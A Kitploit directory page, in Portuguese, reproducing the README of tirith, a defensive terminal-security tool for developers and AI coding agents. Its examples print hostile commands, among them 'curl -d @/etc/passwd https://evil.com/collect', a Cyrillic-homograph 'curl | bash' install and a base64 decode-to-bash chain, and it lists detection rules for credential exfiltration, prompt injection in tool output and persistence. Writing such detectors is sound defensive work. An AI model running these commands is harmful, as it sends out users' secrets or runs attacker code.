Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
tirith — Segurança de terminal para desenvolvedores e agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, injeção ANSI, payloads ofuscados, exfiltração de dados e habilidades/configurações maliciosas de IA antes que executem. | Kitploit
Ferramentas/GitHubGitHub/sheeki03/tirith
OSINT (Inteligência de Fontes Abertas)Ferramentas de PhishingScanners de VulnerabilidadesExfiltração de DadosAnálise de MalwareDevSecOpsDetecção de SegredosInteligência de AmeaçasSegurança da Cadeia de SuprimentosAprendizado e EducaçãoRecursos Curados
2.7k9028há 16h 43mRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
sheeki03/tirith

tirith

Segurança de terminal para desenvolvedores e agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, injeção ANSI, payloads ofuscados, exfiltração de dados e habilidades/configurações maliciosas de IA antes que executem.

Ver RepositórioSite

tirith

Seu navegador detectaria isso. Seu terminal não.

tirith, terminal security

CI GitHub Stars License: AGPL-3.0

Website | Docs | SKILL.md | Changelog | Releases

Vercel OSS Program

Projeto open-source independente, com hospedagem apoiada pelo Vercel Open Source Program (Spring 2026 Cohort).


Você consegue identificar a diferença?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised

root@kitploit:~
Você não consegue. Seu terminal também não. Ambos os caracteres `і` são cirílicos (U+0456), não o `i` latino. A segunda URL resolve para o servidor de um atacante. O script é executado antes que você perceba.

Os navegadores resolveram isso anos atrás. Os terminais ainda renderizam Unicode, sequências de escape ANSI e caracteres invisíveis sem questionar. Agentes de IA executam comandos de shell e instalam pacotes sem inspecionar o que há dentro.

**O Tirith fica no portão.** Ele intercepta comandos, conteúdo colado e arquivos verificados em busca de URLs homográficas, payloads ofuscados, exfiltração de credenciais, skills/configs de IA maliciosos e pacotes/domínios/IPs conhecidos como maliciosos de um banco de dados de inteligência de ameaças assinado antes que sejam executados.```bash
brew install tirith

Em seguida, ative no perfil do seu shell:```bash

zsh

eval "$(tirith init --shell zsh)"

bash

eval "$(tirith init --shell bash)"

fish

tirith init --shell fish | source

root@kitploit:~
> [!TIP]
> `eval "$(tirith init)"` detecta automaticamente o seu shell atual (inspeciona o processo pai e recorre a `$SHELL` se necessário). A flag explícita `--shell` só é necessária quando quiser substituir a deteção.

É tudo no que diz respeito à cobertura de shell interativo. Os comandos aceites por esse shell são
verificados enquanto o hook está carregado e saudável; o comportamento exato de bloqueio depende
do shell e do modo. Execute `tirith doctor` após a instalação e atualizações, e
leia [enforcement by shell](#enforcement-by-shell) antes de tratar o hook como
uma fronteira de autorização. Comandos limpos permanecem silenciosos e normalmente seguem o
caminho rápido.

Também disponível via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), e [mais](#install).

---

## Veja a funcionar

**Ataque homográfico, bloqueado antes da execução:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

O comando nunca é executado.

Pipe-to-shell com URL limpa, avisado, não bloqueado:``` $ curl -fsSL https://get.docker.com | sh

tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.

root@kitploit:~
Aviso é impresso em stderr. O comando ainda é executado.

**Cadeia de decodificação-execução Base64, bloqueada:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Também captura cadeias de decodificação através de wrappers sudo/env e PowerShell -EncodedCommand.

Exfiltração de credenciais, bloqueada:``` $ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server

root@kitploit:~
Cobre todas as flags de upload do curl/wget, variáveis de ambiente (`$AWS_SECRET_ACCESS_KEY`) e substituição de comandos.

**Arquivo de skill malicioso, detectado na varredura:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Examina arquivos JS/Python em busca de payloads ofuscados, execução dinâmica de código e padrões de exfiltração de segredos.

Comandos normais, invisíveis:``` $ git status $ ls -la $ docker compose up -d

root@kitploit:~
Nada. Saída zero. Você esquece que o tirith está em execução.

---

## O que ele detecta

**244 regras de detecção em 35 categorias.**

| Categoria | O que ele impede |
|----------|--------------|
| **Ataques homográficos** | Semelhantes cirílicos/grego em nomes de host, domínios punycode, rótulos de script misto, TLDs semelhantes, domínios confundíveis, detecção de confundíveis em nível de texto (alfanuméricos matemáticos, mesma palavra em script misto) |
| **Injeção em terminal** | Sequências de escape ANSI, sobrescritas bidi, caracteres de largura zero, tags unicode, operadores matemáticos invisíveis, seletores de variação, preenchedores Hangul |
| **Defesa contra esteganografia** | Codificação invisível em espaços em branco (12 variantes de espaço Unicode), Separador de Vogal Mongol, caracteres Hangul Filler, substituição alfanumérica matemática, defesas contra esteganografia de texto no estilo st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, além de muitos caminhos de wrapper, decodificação e indireção |
| **Decodificação-execução Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, cadeias de decodificação através de wrappers sudo/env |
| **Exfiltração de dados** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, uploads de variáveis de ambiente (`$AWS_SECRET_ACCESS_KEY`), exfiltração por substituição de comando |
| **Varredura de arquivos de código** | Payloads ofuscados (`eval(atob(...))`), execução dinâmica de código (`exec(b64decode(...))`), exfiltração de segredos via `fetch`/`requests.post` em arquivos JS/Python |
| **Detecção de credenciais** | Chaves AWS, PATs do GitHub, tokens Stripe/Slack/SendGrid/Anthropic/GCP/npm, blocos de chave privada, além de detecção genérica de segredos baseada em entropia |
| **Comportamento pós-comprometimento** | Raspagem de memória de processos (`/proc/*/mem`), escalação de privilégios remota via Docker, varreduras de arquivos de credenciais, calibrado contra ferramentas pós-comprometimento TeamPCP e UNC1069 |
| **Segurança de comandos** | Sobrescritas de dotfiles, extração de arquivos para caminhos sensíveis, acesso a endpoint de metadados de nuvem, acesso a rede privada |
| **Transporte inseguro** | HTTP simples canalizado para shell, `curl -k`, verificação TLS desabilitada, URLs encurtadas ocultando destinos |
| **Ambiente** | Sequestro de proxy, exportações de env sensíveis, injeção de código via env, sequestro de interpretador, env de injeção de shell |
| **Segurança de arquivos de configuração** | Injeção de configuração, indicadores suspeitos, unicode não-ASCII/invisível em configurações, segurança de servidor MCP (inseguro/não confiável/duplicado/permissivo) |
| **Ameaças de ecossistema** | Typosquats de git clone, registros Docker não confiáveis, instalações via URL pip/npm, endpoints RPC web3, vet-not-configured |
| **Segurança de comandos de instalação** | Repositórios APT adicionados a partir de download canalizado, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (verificações de assinatura desabilitadas), `kubectl apply -f` contra manifestos remotos brutos/encurtados, Helm charts de repositórios não confiáveis, módulos Terraform de fontes remotas não confiáveis, `brew install`/`tap` de URLs arbitrárias |
| **Análise de caminho** | Caminhos não-ASCII, homoglifos em caminhos, codificação dupla |
| **Conteúdo renderizado** | Conteúdo oculto em CSS/cor, atributos HTML ocultos, análise de conteúdo de comentários (injeção de prompt em High, comandos destrutivos em Medium) |
| **Detecção de cloaking** | Cloaking do lado do servidor (bot vs navegador), conteúdo oculto na área de transferência, texto oculto em PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, exclusões do Windows Defender (`Add-MpPreference -Exclusion*`), download-execução inline `iex (iwr ...)` |
| **Defesa de saída de terminal** | Escritas na área de transferência OSC 52, prompts falsos, manipulação de hiperlink e título OSC 8 / limpeza de tela, injeção de prompt dentro de saída de comando ou ferramenta MCP (escaneada tanto bruta quanto desofuscada, de modo que evasões com caracteres invisíveis, confundíveis, espaçados, leetspeak e base64 / hex curto também são capturadas), e exfiltração de dados de saída (URLs de beacon ou diretivas "leia um segredo e envie-o") |
| **Contexto operacional** | Comandos destrutivos contra contextos de nuvem / k8s rotulados como prod e hosts SSH, `apply` de Terraform / Pulumi / OpenTofu sem um plano salvo correspondente, escalação sudo arriscada, `docker run` privilegiado |
| **Estação de trabalho e persistência** | Arquivos de credenciais com permissões frouxas e tokens em texto simples (`~/.ssh`, `~/.aws`, `.npmrc`), pontos de apoio de persistência (shell rc, `authorized_keys`, crontab, LaunchAgents, `core.hooksPath` do git), ordenação de sequestro de PATH, proveniência de executáveis, aliases arriscados e ciclo de vida de variáveis de ambiente sensíveis |
| **Raio de impacto e correlação** | Exclusões que escapam do repositório, exclusões em massa, execução de arquivos baixados de fontes arriscadas e cadeias de sessão como escrita de segredo seguida de rede ou exclusão seguida de `git push --force` |
| **Confiança, atestação e proveniência** | Incompatibilidade de cartão de comando assinado, toques em honeytoken canário, incompatibilidade de host de origem de colagem, negações de política de origem do chamador (agente), desvio de lockfile MCP e desvio de configuração de IA em relação a um snapshot conhecido como seguro |
| **Guarda de comandos Web3** | Escritas on-chain de comandos Cast / Forge / Hardhat / Solana / Anchor (High quando o mesmo comando também desabilita um controle de segurança declarado), material de chave privada, keypair ou mnemonic bruto na linha de comando, e um endpoint RPC ou signer que a política `web3_guard` do operador não confia. Apenas gramática e política: nenhum estado de cadeia é lido, nenhuma transação é simulada e nenhum endereço é pontuado |
| **Exfiltração de carteira** | Material revisado de carteira, keystore, carteira de navegador e keypair Solana fluindo para um destino remoto comprovado, incluindo saltos de preparação por arquivo, base64, hex, compressor e criptografador e promoção de operandos `xargs` / `find -exec`. Uma leitura apenas de origem deliberadamente não é uma descoberta |
| **Envenenamento de artefatos de CI** | Um workflow alcançável por fork que faz upload de um artefato de build, consumido por um workflow privilegiado `workflow_run` vinculado à execução acionadora que então o executa, obtém como fonte, modifica o PATH, publica ou implanta |

---

## Contra o que o tirith NÃO protege

O Tirith analisa a **estrutura** de comandos, texto colado e arquivos antes
que eles executem. É um portão de pré-execução, não uma defesa em tempo de execução, e não
cobre:

- **Sandboxing geral em tempo de execução:** hooks de shell comuns e `tirith check` avisam
  ou bloqueiam; eles não isolam um comando após o lançamento. Os caminhos explícitos
  `capsule run --preset untrusted-project` e a aplicação de `pkg install`
  fornecem contenção fail-closed apenas em hosts Linux x86_64 suportados.
- **Monitoramento de rede pós-execução:** o que um processo faz na rede após
  o lançamento está fora do escopo.
- **Detecção geral de malware / payload:** o tirith não é um antivírus e não
  detona um payload. Ele analisa a estrutura e pode corresponder a indicadores exatos
  e hashes de artefatos/arquivos do banco de dados de ameaças assinado, mas um
  payload desconhecido não é provado benigno pela ausência de correspondência. (`tirith run` verifica
  a estrutura de um script baixado; ainda não é análise dinâmica de malware.)
- **Um atacante privilegiado root/admin:** qualquer um que já seja root ou admin pode contornar
  o tirith trivialmente. Ele se defende contra entrada enganada, não contra um atacante que já
  possui a máquina.
- **Anti-debugging / anti-adulteração:** o tirith não resiste a engenharia reversa
  nem protege seu próprio binário de um atacante local.
- **Análise on-chain:** a guarda Web3 lê a gramática de comandos. Ela não lê
  estado de cadeia, simula uma transação, resolve ENS, pontua um endereço, audita um
  contrato ou observa um mempool.
- **Um firewall de artefatos npm:** o tirith analisa a gramática de comandos npm e fatos de
  identidade do registro, e pode perguntar ao próprio npm do projeto seu estado de assinatura e
  proveniência. Ele não baixa, extrai, coloca em quarentena ou vincula os
  bytes do tarball que o npm instala. O firewall de artefatos contido e fixado por hash é
  apenas para Python.
- **Forense ou monitoramento de navegador:** `tirith browser audit` é uma auditoria explícita,
  única e somente leitura da integridade de árvores de código-fonte de extensões. Ela nunca lê
  cookies, histórico, senhas salvas, armazenamento, bancos de dados de carteira ou `Local
  State`, nunca remove ou coloca nada em quarentena e não tem daemon.
- **Builds reproduzíveis:** um recibo `attest` registra o que duas árvores continham
  em um momento. O Tirith não executa seu build e não pode afirmar que a saída veio
  da fonte. Um recibo de implantação é uma medição pontual, não
  monitoramento contínuo.

Veja [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) para o modelo de ameaças completo e
não-objetivos explícitos, e
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) para um
registro capacidade por capacidade do que o tirith detecta, decide, aplica,
contém e atesta.

---

## Limitações conhecidas

- **Fragilidade do hook de shell:** a proteção depende de um hook de shell permanecer instalado
  e ativo. Hooks podem quebrar ou degradar silenciosamente entre shells, versões de shell,
  frameworks de prompt e ferramentas de histórico. Execute `tirith doctor` para verificar o estado ao vivo
  e fique atento à degradação apenas com aviso.
- **Armazenamento temporário cheio ou somente leitura:** zsh e fish capturam entrada através de um
  arquivo de rascunho antes de invocar o Tirith e falham fechados quando esse arquivo não pode ser
  criado. Um `TMPDIR` cheio/somente leitura pode, portanto, recusar todos os comandos, e
  `TIRITH=0` não pode recuperar porque o binário nunca é alcançado. Siga os
  passos de recuperação em [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Recursos limitados por plataforma:** o modo daemon, `tirith run` e `tirith fetch`
  são superfícies Unix. `tirith run --no-exec` permanece um fluxo de trabalho de inspeção
  lá, mas a execução remota de script ao vivo é apenas Linux e recusa antes
  do download em todos os outros hosts. `tirith setup` é multiplataforma, enquanto cada
  integração de host tem seu próprio contrato de plataforma (por exemplo, Cline tem wrappers
  POSIX e Windows; o hook de bloqueio do OpenHands é apenas Unix).
- **Escopo de extração de nomes de pacotes:** cobre ecossistemas de linguagem (pip,
  npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), não gerenciadores de pacotes
  de distribuição (`apt`, `dnf`, `yum`, `pacman`).
- **Ressalvas sobre agentes de IA:** a interceptação por hook de shell só protege comandos que passam
  por um shell interativo com hook. Um agente que gera um shell não interativo, chama `exec`
  diretamente ou executa sem o hook carregado não é coberto
  por essa camada. O registro MCP é cooperativo, a menos que as chamadas sejam roteadas
  pelo gateway. Um hook pré-ferramenta suportado pode automaticamente retter um
  comando do host, mas apenas quando esse host o carregou e o honrou; vários hosts
  falham abertos quando um processo de hook dá erro. Verifique o host efetivo, não apenas a
  presença de um arquivo de configuração.
- **Comportamento de falha do hook de host:** Grok Build, Cline e OpenHands permitem a
  ferramenta quando seu processo de hook trava ou expira. O adaptador do Tirith nega em
  seus próprios erros por padrão, mas não pode fazer um host honrar um processo que
  não retornou. Execute novamente a configuração se um interpretador fixado se mover e teste o host real
  após cada atualização.
- **Prime Agent IPython é extração em nível de código-fonte:** a guarda cobre escapes/magics de shell
  e formas comuns de `os`, `subprocess` e `pty.spawn`, mas não é
  um sandbox de tempo de execução Python. Um wrapper definido em uma célula anterior,
  reflexão como `getattr`/`__import__`, ou um pacote de terceiros que
  gera um processo pode escapar do que um lexer de código-fonte pode provar.
- **Custom-DLP e saída de máquina:** `dlp_custom_patterns` amplos podem atualmente
  reescrever valores de string pertencentes ao protocolo em projeções JSON/MCP recursivamente redigidas,
  incluindo identificadores gerados ou metadados de recibo. Evite
  padrões que possam corresponder a valores estruturais ao consumir saída assinada ou
  estável para máquina; isso precisa de redação ciente de campo antes do lançamento.
- **Aprovação de instalação não assistida:** `tirith install --yes` é aceito como o
  canal `require_approval` não assistido do portão de tarefa do gerenciador de pacotes. É uma
  flag explícita do operador, não prova de confirmação humana em TTY. Use uma política de tarefa
  de bloqueio onde a execução não assistida deve ser impossível.
- **Vinculação MCP interpretada:** a vinculação exata de servidor interpretado faz hash da
  árvore do repositório sob limites fixos em vez de descobrir um verdadeiro fechamento de dependências,
  então árvores grandes, symlinks ou arquivos especiais podem recusar o lançamento. Ela
  revalida antes do spawn, mas não executa entradas de interpretador a partir de descritores
  revisados selados; mutação concorrente do mesmo usuário permanece uma lacuna de verificação até o carregamento.
- **Cobertura do portão de tarefas:** a inferência de efeitos de tarefa modela a gramática de shell Web3
  e nada mais, então quase todo comando SHELL comum é relatado
  INCOMPLETE. `task_gate.mode: enforce` com `action_incomplete_analysis: block`
  recusa esses nos cinco limites que submetem um envelope de shell, e não muda
  nada nos quatro limites de pacote e escrita de configuração, que sempre avaliam
  como completos. `warn` é o padrão. A alternativa,
  `effects_denied_for_untrusted_sources`, nega o efeito nomeado em cada chamada
  em cada limite possuído, incluindo comandos que você mesmo digitou, porque nenhuma
  fonte nesses limites é jamais tratada como confiável.
- **A contenção é Linux x86_64:** `tirith capsule run --preset
  untrusted-project` e a aplicação de `tirith pkg install` são aplicáveis apenas em
  Linux x86_64 com uma ABI Landlock utilizável. Todos os outros hosts recusam antes
  que qualquer coisa seja copiada ou gerada, sem fallback degradado. A lista de permissões de domínio
  não é oferecida por nenhum backend.
- **Lacuna de exfiltração em shell aninhado:** uma leitura sensível dentro de um corpo de shell aninhado
  cujo destino está fora dele, como `bash -c "cat <wallet>" | curl -d @- <url>`,
  não é correlacionada hoje. A mesma cadeia inteiramente dentro ou inteiramente fora do
  corpo `-c` é detectada.
- **Graus de evidência de execução:** um lançamento Linux é confirmado apenas após sua
  transição `exec` interrompida, atualização de estado durável, retomada autorizada e
  prova do lançador de terminal todas concluídas. Uma chamada de gateway é confirmada apenas por um
  resultado correlacionado exato. Observações de shell e chamadas de gateway encaminhadas que
  expiram ou são canceladas permanecem evidência não resolvida conservadora, nunca
  execução confirmada. Recibos de shell estritos estão disponíveis para bash, zsh e fish
  interativos; PowerShell permanece apenas de pré-voo. O comportamento nativo do lançador Linux
  deve ser verificado por CI Linux ou um host Linux nativo; nem cobertura portátil
  de código-fonte/unitária nem um build macOS podem substituir.
- **Lacunas de cobertura Web3:** `forge create` ainda não está modelado em superfícies de engine;
  vários campos declarados de `web3_guard` são analisados mas não aplicados; e
  vinculações Web3 de cartão de comando schema-2 ainda não têm um caminho de autoria de CLI ou
  consumo de engine ao vivo. Trate isso como lacunas conhecidas, não autorização silenciosa.

---

## Inteligência de ameaças

O Tirith inclui um banco de dados de ameaças local assinado para reputação de pacotes, nomes de host e IPs. Quando um hook de shell ou `tirith check` vê uma instalação de pacote ou referência de infraestrutura suspeita, ele corresponde essa entrada ao banco de dados antes que o comando execute, em vez de depender apenas de heurísticas estáticas.

**DB assinado** (construído por CI, verificado no download e no carregamento):

- Pacotes conhecidos como maliciosos de [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) e [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infraestrutura de IP maliciosa de [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquats confirmados e baselines de pacotes populares de [ecosyste.ms](https://ecosyste.ms/)
- Catálogo [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) para correlação de avisos em tempo de execução

O ThreatDB v2 adiciona valores exatos de SHA-256 de artefatos, hashes de arquivos instalados,
URLs maliciosas, associação a campanhas e tags de comportamento. O índice assinado,
atualizador, compilador e carregador suportam v1 e v2 durante a transição faseada,
rejeitam rollback de sequência, publicam transacionalmente e retêm um banco de dados
último-conhecido-bom assinado quando uma atualização está incompleta ou inválida. A
fonte DigitalSide está implementada mas intencionalmente inativa até que sua
frescor e contrato operacional sejam aprovados.

**Feeds suplementares opcionais** (sobreposição local do usuário):

- [URLhaus](https://urlhaus.abuse.ch/) e [ThreatFox](https://threatfox.abuse.ch/) via uma chave de autenticação abuse.ch
- Listas de bloqueio [PhishTank](https://phishtank.org/) (Cisco Talos) e [Phishing Army](https://phishing.army/)
- Lista de nós de saída Tor do [Tor Project](https://www.torproject.org/)

**Enriquecimento ao vivo opcional** durante `tirith check` e modo daemon:

- Consultas de avisos [OSV.dev](https://osv.dev/) (Google OSS)
- Sinais de saúde de pacotes [deps.dev](https://deps.dev/) (Google OSS) e dados de mantenedores [ecosyste.ms](https://ecosyste.ms/)
- Reputação de URL do [Google Safe Browsing](https://safebrowsing.google.com/) com sua própria chave de API```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

Por padrão, os hooks de shell e tirith check disparam uma verificação de atualização em segundo plano de baixo custo a cada 24 horas. O modo daemon mantém o mesmo caminho de enriquecimento ativo em segundo plano.

threat-db explain aceita um domínio, um nome de pacote (name, ecosystem:name ou name@version) ou um endereço IPv4. O binário não retém histórico por entrada, portanto threat-db diff reporta deltas de categoria e de contagem por fonte entre snapshots, não as entradas exatas alteradas. Todo comando threat-db aceita --format json; threatdb é um alias.

Pontuação de risco de pacotes

tirith package risk <ecosystem> <name> pontua o risco de supply-chain / de mantenedor de um pacote da mesma forma que tirith score pontua uma URL, uma soma determinística e totalmente explicável de fatores nomeados, sem modelo e sem pesos aprendidos. tirith package explain <ecosystem> <name> adiciona a derivação fator a fator; ambos aceitam --format json.```bash tirith package risk npm react # 0/100, a known-popular package tirith package risk npm reqeusts # high, one edit from a popular name tirith package explain pypi flask # factor-by-factor derivation tirith package risk npm left-pad --path ./node_modules/left-pad tirith package risk --online npm react # also consult the registry API

root@kitploit:~
**Offline por padrão.** Sem nenhuma flag, todo sinal é local, sem nenhuma chamada de rede: (1) **nome vs. pacotes populares**: conhecido-popular, desconhecido, ou um quase-acerto de uma edição de um nome popular (a clássica forma de typosquat/slopsquat), a partir do conjunto `popular` do banco de dados local de ameaças; (2) **typosquat malicioso conhecido**: uma correspondência exata no índice `typosquat` do banco de dados de ameaças; (3) **scripts de instalação / ciclo de vida** e (4) **blobs binários empacotados**, detectados apenas quando o conteúdo do pacote está disponível localmente (sob `node_modules` / `site-packages`, ou via `--path`). O tirith **nunca baixa** o pacote.

**`--online` adiciona proveniência do registro.** Ele consulta o registro do pacote (npm, PyPI ou crates.io) para seis fatores adicionais no *mesmo* modelo de soma de fatores: idade do pacote/versão, um pacote estabelecido sem proprietários, um pico anormal de versão, downloads muito baixos, um repositório de origem ausente e status yanked/deprecated. É o único caminho no qual o próprio `package risk` acessa a rede; `tirith check` e o modo daemon têm um caminho separado de enriquecimento em tempo de execução controlado por política. `--offline` / `TIRITH_OFFLINE` forçam este scorer a ficar offline independentemente disso. Falhas recorrem à pontuação offline com um honesto `api signals: unavailable`, e as respostas são armazenadas em cache com um TTL para que execuções repetidas não sobrecarreguem os registros.

A pontuação é consultiva e independente: `package risk` não é uma regra de detecção e não altera nenhum veredito, código de saída ou log de auditoria.

### Varredura de ecossistema e risco de dependências

`tirith ecosystem scan [path]` é o companheiro em nível de diretório do `package risk`. Ele percorre um projeto, descobre todo manifesto de dependência que ele entende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), e pontua **toda dependência declarada** com o mesmo motor determinístico de fatores `package_risk`.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

Ele incorpora a detecção de slopsquat. Slopsquatting é o registro de um nome plausível, mas falso, que os LLMs tendem a alucinar como uma dependência. ecosystem scan sinaliza um apenas quando todas as três condições se verificam: o nome não é conhecido como real ou popular, tem forma de alucinação de IA (um prefixo de linguagem como python- / node- mais tokens descritivos, uma pilha de enchimento genérico como helper / utils / client, ou um nome invulgarmente longo), e situa-se perto de um nome popular real (um quase-acerto a uma edição de distância, ou incorpora um nome popular como palavra). Exigir as três mantém os falsos positivos baixos: um data-utils honesto sem âncora popular não dispara.

Offline por predefinição, --online opcional. Os sinais de nome e typosquat vêm da base de dados local de ameaças; --online acrescenta proveniência de registo, limitada e degradada exatamente como package risk --online. Este sinalizador controla a análise do ecossistema e não altera a política independente de enriquecimento em tempo de execução do tirith check. Os resultados fluem através do modelo normal Verdict / Finding do tirith: explicável (tirith explain --rule threat_suspicious_package), registado em auditoria e respeitando a lista de permissões da política (um pacote na lista de permissões, por nome simples ou ecosystem:name, é suprimido). Os códigos de saída correspondem a tirith scan: 1 para um resultado bloqueante, 2 para consultivo, 0 quando limpo.

Isto ajuda a detetar pacotes conhecidos como maliciosos, typosquats confirmados, nomes de pacotes slopsquatted, infraestrutura de download maliciosa e pacotes com dados de avisos OSV / CISA KEV em tempo real.

Inspeção de artefactos Python e instalações com imposição

O risco do nome do pacote é apenas uma camada. O Tirith pode inspecionar os bytes Python exatos que já tem e, em anfitriões suportados, impor um plano de instalação com hash fixado:```bash

Local evidence: never downloads an artifact

tirith package inspect --artifact dist/example-1.0-py3-none-any.whl tirith package inspect --artifact-set ./downloaded-wheels tirith package inspect --installed ./.venv

Enforcing pip workflow: x86_64 Linux only

tirith pkg trust-tool /absolute/path/to/static-uv tirith pkg approve pip requests==2.31.0 --target .tirith-pkg tirith pkg install pip requests==2.31.0 --target .tirith-pkg tirith pkg verify-env --target .tirith-pkg requests

root@kitploit:~
A inspeção cobre a estrutura e a identidade do wheel, a integridade do RECORD e a propriedade de arquivos, hooks de inicialização do Python, extensões nativas ELF/Mach-O/PE, arestas de execução e divisões loader/payload entre distribuições. `pkg graph`, `pkg diff`, `pkg attest` e `pkg receipt` expõem a proveniência correspondente e as evidências de recibo.

O caminho de aplicação suporta **pip apenas em x86_64 Linux** e requer a autoridade nativa documentada, um diretório de destino recém-dedicado e um `uv` nativo totalmente estático registrado. Toda plataforma não suportada falha de forma fechada antes do pip iniciar; nunca recorre a uma instalação comum. npm e Cargo permanecem superfícies de evidência não-aplicáveis. Consulte as
[notas de versão 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) e a
[referência de comandos](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).

**Famílias de ataque para as quais o tirith foi construído** (ilustrativo, não uma alegação de detecção pelo código atual):

| Incidente | Ano | Forma do ataque |
|---|---|---|
| [Shai-Hulud npm worm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Malware de pacote auto-propagável; exfiltrou tokens do GitHub e chaves da AWS de mais de 180 pacotes, publicou descobertas em repositórios públicos `Shai-Hulud` |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 até o presente | Atacantes registram nomes de pacotes alucinados por LLM no npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) descobriu que 58% dos nomes alucinados se repetem entre execuções |
| Ferramentas do Team PCP / UNC1069 | em andamento | Varreduras de credenciais pós-comprometimento, raspagem de `/proc/*/mem`, escalada de privilégios no Docker |
| [Sabotagem do colors.js / faker.js](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Auto-sabotagem do autor de pacotes amplamente utilizados |
| [Comprometimento do event-stream](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Transferência de propriedade para o atacante; payload direcionado a carteiras Bitcoin |

A extração de nomes de pacotes atualmente cobre ecossistemas de linguagem (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), não gerenciadores de pacotes de nível de distribuição (`apt` / `dnf` / `yum` / `pacman`). É por isso que o xz-utils, que entrou por meio de tarballs de distribuições Linux, não está na tabela apesar de ser um incidente de grande destaque.

---

## Segurança de agentes de IA

O Tirith adiciona várias camadas de proteção independentes em torno de agentes de codificação de IA:
varredura de configuração, ferramentas MCP cooperativas, um gateway MCP, hooks de
shell interativo e hooks pré-ferramenta nativos do host onde o host expõe um
contrato de bloqueio documentado. A cobertura depende de qual camada o host realmente carrega.

### Hooks de shell, interceptação passiva de comandos

Quando um agente de IA executa por meio de um shell interativo com hook (Claude Code,
Codex, Cursor, etc.), o hook de shell do tirith verifica esse comando interativo antes
que o shell o aceite. Isso não cobre um shell não interativo, um `exec` direto
ou um processo de agente que nunca carregou o hook:

- **Bloqueia comandos perigosos**: URLs homógrafas, pipe-to-shell, downloads inseguros
- **Bloqueia colagem maliciosa**: injeção ANSI, ataques bidi, multilinha oculto em conteúdo colado
- **Portão interativo independente de agente**: nenhuma integração específica de agente é
  necessária quando esse agente realmente usa o shell interativo protegido
- **Zero modificação do agente**: o agente não sabe que o tirith existe até que um comando seja bloqueado

Use `tirith setup <tool>` para configuração em um único comando (consulte [Integrações com Agentes de IA](#ai-agent-integrations)).

### Servidor MCP (6 ferramentas multiplataforma; 7 no Unix)

Execute `tirith mcp-server` ou use `tirith setup <tool> --with-mcp` para registrar o tirith como um servidor MCP. Agentes de IA podem chamar estas ferramentas antes de agir:

| Ferramenta | O que faz |
|------|-------------|
